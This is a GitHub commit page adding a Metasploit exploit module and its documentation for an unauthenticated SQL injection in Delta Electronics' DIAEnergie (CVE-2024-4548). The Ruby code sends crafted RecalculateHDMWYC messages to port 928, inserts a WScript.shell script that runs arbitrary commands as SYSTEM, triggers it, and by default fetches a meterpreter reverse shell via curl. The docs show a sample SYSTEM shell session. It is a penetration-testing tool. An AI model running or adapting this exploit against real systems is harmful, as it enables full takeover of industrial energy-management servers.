Skip to content

Commit 35da466

Browse files
committed
Land rapid7#19351, DIAEnergie SQL Injection
2 parents facd583 + 362b242 commit 35da466

File tree

2 files changed

+222
-0
lines changed

2 files changed

+222
-0
lines changed
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
## Vulnerable Application
2+
3+
**Vulnerability Description**
4+
5+
This module exploits a SQL injection vulnerability in DIAEnergie <= v8.28.0 (CVE-2024-4548).
6+
7+
An unauthenticated remote attacker can exploit this vulnerability to inject an arbitrary script through a SQL injection vulnerability, which
8+
can then be executed in the context of `NT AUTHORITY\SYSTEM`. The vulnerability is within the CEBC service, which listens by default on TCP
9+
port 928. It accepts various user-controlled data, including `RecalculateHDMWYC` messages, which are insufficiently validated before using
10+
them as part of a SQL query.
11+
12+
Versions <= 1.10.1.8610 are affected. Tenable published [TRA-2024-13](https://www.tenable.com/security/research/tra-2024-13) to cover the
13+
security issues.
14+
15+
**Vulnerable Application Installation**
16+
17+
A trial version of the software can be obtained from [the vendor]
18+
(https://downloadcenter.deltaww.com/downloadCenterCounter.aspx?DID=39969&DocPath=1&hl=en-US).
19+
For the product to work correctly, SQL Server (e.g., SQL Server Express) needs to be installed.
20+
21+
**Successfully tested on**
22+
23+
- DIAEnergie v1.10 on Windows 10 22H2
24+
- DIAEnergie v1.9 on Windows 10 22H2
25+
26+
## Verification Steps
27+
28+
1. Install the SQL Server (Express)
29+
2. Install DIAEnergie
30+
3. Start `msfconsole` and run the following commands:
31+
32+
```
33+
msf6 > use exploit/windows/scada/diaenergie_sqli
34+
[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp
35+
msf6 exploit(windows/scada/diaenergie_sqli) > set RHOSTS <IP>
36+
msf6 exploit(windows/scada/diaenergie_sqli) > exploit
37+
```
38+
39+
You should get a meterpreter session in the context of `NT AUTHORITY\SYSTEM`.
40+
41+
## Scenarios
42+
43+
Running the exploit against DIAEnergie v1.10 on Windows 10 22H2, using curl as a fetch command, should result in an output similar to the
44+
following:
45+
46+
```
47+
msf6 exploit(windows/scada/diaenergie_sqli) > exploit
48+
49+
[*] Started reverse TCP handler on 192.168.1.241:4444
50+
[*] 192.168.1.245:928 - Running automatic check ("set AutoCheck false" to disable)
51+
[+] 192.168.1.245:928 - The target appears to be vulnerable.
52+
[*] 192.168.1.245:928 - Sending SQL injection...
53+
[*] 192.168.1.245:928 - Triggering script execution...
54+
[*] 192.168.1.245:928 - Cleaning up database...
55+
[+] 192.168.1.245:928 - Script successfully injected, check thy shell.
56+
[*] Sending stage (201798 bytes) to 192.168.1.245
57+
[*] Meterpreter session 1 opened (192.168.1.241:4444 -> 192.168.1.245:50605) at 2024-07-29 23:59:53 -0400
58+
59+
meterpreter > shell
60+
Process 6392 created.
61+
Channel 1 created.
62+
Microsoft Windows [Version 10.0.19045.4529]
63+
(c) Microsoft Corporation. All rights reserved.
64+
65+
C:\WINDOWS\system32>whoami
66+
whoami
67+
nt authority\system
68+
```
Lines changed: 154 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,154 @@
1+
class MetasploitModule < Msf::Exploit::Remote
2+
Rank = ExcellentRanking
3+
include Msf::Exploit::Remote::Tcp
4+
prepend Msf::Exploit::Remote::AutoCheck
5+
6+
def initialize(info = {})
7+
super(
8+
update_info(
9+
info,
10+
'Name' => 'DIAEnergie SQL Injection (CVE-2024-4548)',
11+
'Description' => %q{
12+
SQL injection vulnerability in DIAEnergie <= v1.10 from Delta Electronics.
13+
This vulnerability can be exploited by an unauthenticated remote attacker to gain arbitrary code execution through a SQL injection vulnerability in the CEBC service. The commands will get executed in the context of NT AUTHORITY\SYSTEM.
14+
},
15+
'License' => MSF_LICENSE,
16+
'Author' => [
17+
'Michael Heinzl', # MSF exploit
18+
'Tenable' # Discovery & PoC
19+
],
20+
'References' => [
21+
[ 'URL', 'https://www.tenable.com/security/research/tra-2024-13'],
22+
[ 'CVE', '2024-4548']
23+
],
24+
'DisclosureDate' => '2024-05-06',
25+
'Platform' => 'win',
26+
'Arch' => [ ARCH_CMD ],
27+
'Targets' => [
28+
[
29+
'Windows_Fetch',
30+
{
31+
'Arch' => [ ARCH_CMD ],
32+
'Platform' => 'win',
33+
'DefaultOptions' => {
34+
'FETCH_COMMAND' => 'CURL',
35+
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
36+
},
37+
'Type' => :win_fetch
38+
}
39+
]
40+
],
41+
'DefaultTarget' => 0,
42+
43+
'Notes' => {
44+
'Stability' => [CRASH_SAFE],
45+
'Reliability' => [REPEATABLE_SESSION],
46+
'SideEffects' => [IOC_IN_LOGS]
47+
}
48+
)
49+
)
50+
51+
register_options(
52+
[
53+
Opt::RPORT(928)
54+
]
55+
)
56+
end
57+
58+
# Determine if the DIAEnergie version is vulnerable
59+
def check
60+
begin
61+
connect
62+
sock.put 'Who is it?'
63+
res = sock.get || ''
64+
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
65+
vprint_error(e.message)
66+
return Exploit::CheckCode::Unknown
67+
ensure
68+
disconnect
69+
end
70+
71+
if res.empty?
72+
vprint_status('Received an empty response.')
73+
return Exploit::CheckCode::Unknown
74+
end
75+
76+
vprint_status('Who is it response: ' + res.to_s)
77+
version_pattern = /\b\d+\.\d+\.\d+\.\d+\b/
78+
version = res.match(version_pattern)
79+
80+
if version[0].nil?
81+
Exploit::CheckCode::Detected
82+
end
83+
84+
vprint_status('Version retrieved: ' + version[0])
85+
86+
unless Rex::Version.new(version) <= Rex::Version.new('1.10.1.8610')
87+
return CheckCode::Safe
88+
end
89+
90+
return CheckCode::Appears
91+
end
92+
93+
def exploit
94+
execute_command(payload.encoded)
95+
end
96+
97+
def execute_command(cmd)
98+
scname = Rex::Text.rand_text_alphanumeric(5..10).to_s
99+
vprint_status('Using random script name: ' + scname)
100+
101+
year = rand(2024..2026)
102+
month = sprintf('%02d', rand(1..12))
103+
day = sprintf('%02d', rand(1..29))
104+
random_date = "#{year}-#{month}-#{day}"
105+
vprint_status('Using random date: ' + random_date)
106+
107+
hour = sprintf('%02d', rand(0..23))
108+
minute = sprintf('%02d', rand(0..59))
109+
second = sprintf('%02d', rand(0..59))
110+
random_time = "#{hour}:#{minute}:#{second}"
111+
vprint_status('Using random time: ' + random_time)
112+
113+
# Inject payload
114+
begin
115+
print_status('Sending SQL injection...')
116+
connect
117+
vprint_status("RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--")
118+
sock.put "RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--"
119+
res = sock.get
120+
unless res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
121+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
122+
end
123+
124+
vprint_status('Injection - Expected response received: ' + res.to_s)
125+
disconnect
126+
127+
# Trigger
128+
print_status('Triggering script execution...')
129+
connect
130+
sock.put "RecalculateScript~#{random_date} #{random_time}~#{random_date} #{random_time}~1"
131+
res = sock.get
132+
unless res.to_s == 'Recalculate Script Start!'
133+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
134+
end
135+
vprint_status('Trigger - Expected response received: ' + res.to_s)
136+
137+
disconnect
138+
139+
print_good('Script successfully injected, check thy shell.')
140+
ensure
141+
# Cleanup
142+
print_status('Cleaning up database...')
143+
connect
144+
sock.put "RecalculateHDMWYC~2024-02-04 00:00:00~2024-02-05 00:00:00~1);DELETE FROM DIAEnergie.dbo.DIAE_script WHERE name='#{scname}';--"
145+
res = sock.get
146+
unless res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
147+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
148+
end
149+
vprint_status('Cleanup - Expected response received: ' + res.to_s)
150+
151+
disconnect
152+
end
153+
end
154+
end

0 commit comments

Comments
 (0)